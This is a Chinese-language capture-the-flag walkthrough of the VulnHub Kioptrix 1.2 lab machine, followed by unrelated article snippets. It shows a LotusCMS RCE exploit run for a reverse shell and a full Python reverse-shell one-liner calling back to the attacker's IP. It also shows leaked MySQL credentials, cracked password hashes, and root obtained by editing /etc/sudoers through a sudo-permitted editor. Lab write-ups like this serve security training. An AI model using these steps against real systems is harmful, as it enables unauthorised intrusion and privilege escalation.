vulnhub kioptirx1.2 超详细wp

探测

nmap --min-rate 10000 -p- 192.168.128.134 最小速率10000

image-20241205163859777

nmap -sT -sV -sC -O 192.168.128.134

image-20241205164804056

web打点

image-20241205171224647

image-20241205171232934

image-20241205171239351

image-20241205171301144

无弱口令

暴露cms寻找exp

image-20241205171417653

searchsploit LotusCMS -m 16982 [输入id号和参数m可以直接把东西复制到当前目录]

image-20241205174155253

查看txt里面发现 都是xss没有rce

github搜索到一个rce 还是sh的

image-20241205180051530

image-20241205180033727

反弹shell

exp用法 url加cms的路径

image-20241205180338477

./lotusRCE.sh 192.168.128.134/index.php

让我们输入reverse shell的ip 以及端口

nc -lvnp 4444 监听本机的4444端口

image-20241205180609391

我们是nc弹的shell 输入1就行了

权限是www-data 就是网站权限

image-20241205180924867

内网

uname -a 可以看是什么机器

dpkg -l 是查看机器上安装了那些东西 机器上有python

image-20241205181443640

先把交互的shell改善一下 查一下python的反弹命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.128.128",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20241205181806752

成功反弹shell 但是我们不能clear 会很麻烦

image-20241205182335110

clear 命令时,如果系统报告 TERM environment variable not set,这意味着 clear 无法确定它应该使用哪种控制序列来清除屏幕。不同的终端类型有不同的控制序列用于移动光标、清除屏幕等操作。clear 命令依赖于 TERM 环境变量来知道它正在与哪种类型的终端通信,从而发送正确的控制序列。

为什么import就能 clear 了?

  1. 终端识别clear 命令需要了解它是在什么类型的终端上运行的,以便能够正确地发送清除屏幕的命令。如果你没有设置 TERM 变量,clear 就不知道该发送哪些控制字符来完成这个任务。

  2. 控制序列:每种终端类型都有自己的控制序列集,用来处理如清除屏幕、移动光标等操作。xterm-colorxterm-256color 是常见的终端类型,它们定义了一组标准的控制序列,clear 命令可以根据这些标准来工作。

  3. 库支持:许多命令行工具,包括 clear,通常会通过一个叫做 terminfo(或更老的 termcap)的数据库来查找与特定 TERM 值关联的控制序列。当 TERM 被正确设置后,clear 可以查询这个数据库并找到如何在你的终端上执行清除操作。

  4. 默认行为:大多数现代的终端模拟器都兼容 xterm,并且至少支持基本的 ANSI 控制序列。因此,将 TERM 设置为 xtermxterm-256color 通常是安全的选择,可以确保大部分命令行工具正常工作,包括 clear

export TERM=xterm-color 导入环境变量让 clear知道是那种终端【就可以clear了】

内网漫游

提权sudo

漫游就是翻机器里面的文件比如配置文件 【config】里面会记录很多敏感信息

ls -l 看当前目录下的文件 这是这个网站的源码文件

image-20241205184323681

看了 modules data cache gallery

gallery文件下有配置文件

image-20241205184652794

发现mysql的密码 和路径

image-20241205184919983

$GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";$GLOBALS["gallarific_mysql_server"] = "localhost";$GLOBALS["gallarific_mysql_database"] = "gallery";$GLOBALS["gallarific_mysql_username"] = "root";$GLOBALS["gallarific_mysql_password"] = "fuckeyou";

登录phpmuadmin

本来下连接mysql数据库的

根据之前的端口信息可以知道该机器是没有对外开放3306的

所以只能目标机器自己连接但是 这个地方不知道为什么 我一直连不上

image-20241205190157007

但是用同样的密码 phpmyadmin倒是登录上去了 事半功倍

image-20241205190344940

在gallery数据库中有两个 敏感表 account users 里面都有密码

users表

image-20241205191121793

这个密码应该是gallery的用户的密码 之前漫游翻 gallery文件的时候有 一个gadmin

image-20241205191616997

尝试访问 并登陆成功

image-20241205191859087

有上传功能

image-20241205192007245

accounts表

image-20241205191138423

把hash拿去kali的 hash-identifier -h 识别一下 发现是md5

image-20241205192248475

在线解密md5在线解密破解,md5解密加密

loneferret  starwars
dreg          Mast3r

但是我们不知道这是什么密码 accounts 是账户的意思 能连的 现在就mysql 主页面登录框 另一个发现的登录框

主页面的登录框我都试过 不对

现在只有ssh没有试过了 但是发现目标机器的ssh加密太老了

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss dreg@192.168.128.134
  • -oHostKeyAlgorithms=ssh-rsa,ssh-dss: 使用 -oH 选项来设置配置参数。这里的 HostKeyAlgorithms 参数指定了客户端愿意接受的主机密钥算法列表。通过将 ssh-rsassh-dss 添加到这个列表中,你允许客户端与只提供这些算法的服务器进行协商。

  • dreg@192.168.128.134: 指定要连接的用户(dreg)和远程服务器的IP地址(192.168.128.134)。

提权

两个用户全部ssh登录成功

image-20241205194010095

先尝试sudo提权 dreg用户不能 但是lonferret有sudo权限

image-20241205194730734

直接sudo /urs/local/bin/ht 这个就是无密码使用sudo权限执行 的ht【一个linux编辑器】 f3进入

image-20241205201632505

/etc/sudoers 文件是 Linux 系统中用于配置 sudo 命令权限的核心文件。它定义了哪些用户或用户组可以以超级用户(root)或其他用户的权限执行特定命令

如果在 sudoers 文件中为某个用户或用户组添加了 /bin/bash 的权限,这意味着该用户可以通过 sudo 启动一个具有超级用户权限的交互式 shell。这将允许他们执行任意命令,而不仅仅是你原本打算允许的特定命令

添加 /bin/bash

image-20241205202150723

直接执行 sudo /bin/bash

大功告成

image-20241205202430477

总结

searchsploit LotusCMS -m 16982【漏洞id】 很方便的把searchsploit的exp直接复制到到当前目录

uname -a查看机器信息

dpkg -l 查看当前软件 可以用grep 来过滤关键信息

根据提示来确定解决办法

export TERM=xterm-color 添加环境变量 命令行

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss dreg@192.168.128.134 修改我们客户端的ssh配置符合 服务端的密钥配置

/etc/sudoers 定义用户可以执行那些权限

密码复用问题多尝试

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/34972.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

vulnhub靶场之【grotesque】三

前言 靶机:grotesque-3 192.168.1.44 攻击 :kali 192.168.1.16 都是虚拟机环境,桥接模式 主机发现 使用arp-scan -l或者netdiscover -r 192.168.1.1/24搜索 信息收集 使用nmap扫描 防止有遗漏,再扫描全端口 网站信息收集 …

大规模模型部署、推理的工具:Xinference

有没有 Xinference之前,如果想要部署应用一个开源模型,可能会面临以下一些情况和挑战: 自行开发推理框架: 需要投入大量的时间和精力来构建一个可靠且高效的推理框架,包括处理模型加载、资源管理、请求调度等复杂的任务…

C语言选择法排序

C语言编程&#xff0c;用选择法对数组中4个整数按由大到小排序 1、代码如下&#xff1a; #include<stdio.h> #include<math.h> #include<string.h>int main() {void sort(int array[],int n);printf("测试开始\n");int nums[] {2,3,4,1};sort(n…

SpringBoot的validation参数校验

文章目录 前言一、引入validation 依赖二、validation中的注解说明 &#xff08;1&#xff09;Validated&#xff08;2&#xff09;Valid&#xff08;3&#xff09;NotNull&#xff08;4&#xff09;NotBlank&#xff08;5&#xff09;NotEmpty&#xff08;6&#xff09;Patte…

Go的Gin比java的Springboot更加的开箱即用?

前言 隔壁组的云计算零零后女同事&#xff0c;后文简称 云女士 &#xff0c;非说 Go 的 Gin 框架比 Springboot 更加的开箱即用&#xff0c;我心想在 Java 里面 Springboot 已经打遍天下无敌手&#xff0c;这份底蕴岂是 Gin 能比。 但是云女士突出一个执拗&#xff0c;非我要…

docker学习笔记(四)--DockerFile

文章目录 一、什么是Dockerfile二、docker build命令三、dockerfile指令3.1 FROM3.2 ENV3.3 WORKDIR3.4 RUN3.5 CMD3.6 ENTRYPOINT3.7 EXPOSE3.8 ARG3.9 ADD3.10 COPY3.11 VOLUME 四、dockerfile示例 一、什么是Dockerfile Dockerfile 是用于构建 Docker 镜像的脚本文件&#…

撰写技术文档的关键步骤和核心要点

编写项目的技术文档是一个重要且细致的任务&#xff0c;它不仅有助于项目的当前开发团队理解系统的结构和工作原理&#xff0c;还为未来的维护和扩展提供了宝贵的参考资料。以下是撰写技术文档时应遵循的几个关键步骤和组成部分&#xff1a; 1. 概述 项目简介&#xff1a;简要…

Ant-Design-Vue 全屏下拉日期框无法显示,能显示后小屏又位置错乱

问题1&#xff1a;在全屏后 日期选择器的下拉框无法显示。 解决&#xff1a;在Ant-Design-Vue的文档中&#xff0c;很多含下拉框的组件都有一个属性 getPopupContainer可以用来指定弹出层的挂载节点。 在该组件上加上 getPopupContainer 属性,给挂载到最外层盒子上。 <temp…

【前端学习路线】(超详细版本)

先附上学习路线图&#xff1a;前端学习路线 第一阶段&#xff1a;前端入门&#xff08;htmlcss&#xff09; 前端最基本的知识&#xff0c;需要先将这些内容融汇贯通&#xff0c;学习后面内容才会不吃力。学习完可以做几个静态页练习一下。 推荐视频学习链接&#xff1a; 黑马程…

Vue生成类似于打卡页面

数据表格 <el-table :data"tableData" border height"calc(100vh - 240px)" :cell-style"cellFun"><el-table-column label"姓名" show-overflow-tooltip prop"name" align"center"/><el-table-co…

JVM学习《垃圾回收算法和垃圾回收器》

目录 1.垃圾回收算法 1.1 标记-清除算法 1.2 复制算法 1.3 标记-整理算法 1.4 分代收集算法 2.垃圾回收器 2.1 熟悉一下垃圾回收的一些名词 2.2 垃圾回收器有哪些&#xff1f; 2.3 Serial收集器 2.4 Parallel Scavenge收集器 2.5 ParNew收集器 2.6 CMS收集器 1.垃圾…

波特图方法

在电路设计中&#xff0c;波特图为最常用的稳定性余量判断方法&#xff0c;波特图的根源是如何来的&#xff0c;却鲜有人知。 本章节串联了奈奎斯特和波特图的渊源&#xff0c;给出了其对应关系和波特图相应的稳定性余量。 理论贯通&#xff0c;不在于精确绘…

【Java】2、集合框架 JCF

目录 CollectionListArrayList扩容机制System.arraycopy() 和 Arrays.copyOf()方法 LinkedList Set MapHashMap *重点&#xff1a; 底层机制&#xff08;源码&#xff09;应用场景 好处&#xff1a; 数组&#xff08;长度不可改&#xff0c;同一类型&#xff0c;增删不便&#…

P5461 赦免战俘

P5461 赦免战俘 #include <iostream> using namespace std; #include <algorithm> #include <vector> #include <cmath> void pardon(auto & matrix,int x,int y,int size){if(size 1) return;int half size / 2;for(int i x;i < x half;i …

GoTrackIt应用指南:共享单车时空轨迹可视化

GoTrackIt平台集成了对 Kepler.gl 可视化工具的部分功能进行了封装&#xff0c;通过引入 KeplerVis 类&#xff0c;显著简化了地理空间数据分析与展示的过程。利用这一类&#xff0c;开发者和数据分析师能够在网页端快速实现复杂地理数据的动态可视化&#xff0c;而无需深入掌握…

LeetCode 力扣 热题 100道(十五)搜索插入位置(C++)

给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 代码如下所示&#xff1a; class Solution { public:int searchIns…

JS中递归函数的理解及展开运算符在递归种的运用理解

<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>递归函数</title> </head> <body> <script>const list ["你好", "吃饭了吗",["好",[[&qu…

vue中.sync修饰符的用法

一、什么是.sync修饰符 在Vue.js中&#xff0c;.sync 修饰符用于创建一个双向绑定的 prop。它使子组件能够更新父组件的 prop 值&#xff0c;实现父子组件之间的双向数据同步。具体来说&#xff0c;.sync 修饰符主要有以下几个功能&#xff1a; 简化双向绑定&#xff1a; 使用…

element Plus中 el-table表头宽度自适应,不换行

在工作中&#xff0c;使用el-table表格进行开发后&#xff0c;遇到了小屏幕显示器上显示表头文字会出现换行展示&#xff0c;比较影响美观&#xff0c;因此需要让表头的宽度变为不换行&#xff0c;且由内容自动撑开。 以下是作为工作记录&#xff0c;用于demo演示教程 先贴个…

rockit 学习、开发笔记(五)(VDEC)

前言 后面由于业务需求有rockit编解码的功能开发&#xff0c;这里我是第一次接触编解码&#xff0c;所以后续有些概念表述可能不太清楚&#xff0c;请各位多多包涵。 先来说一下解码模块的使用&#xff0c;rockit中的解码模块是VDEC&#xff0c;如果想要开发rockit的vdec可能…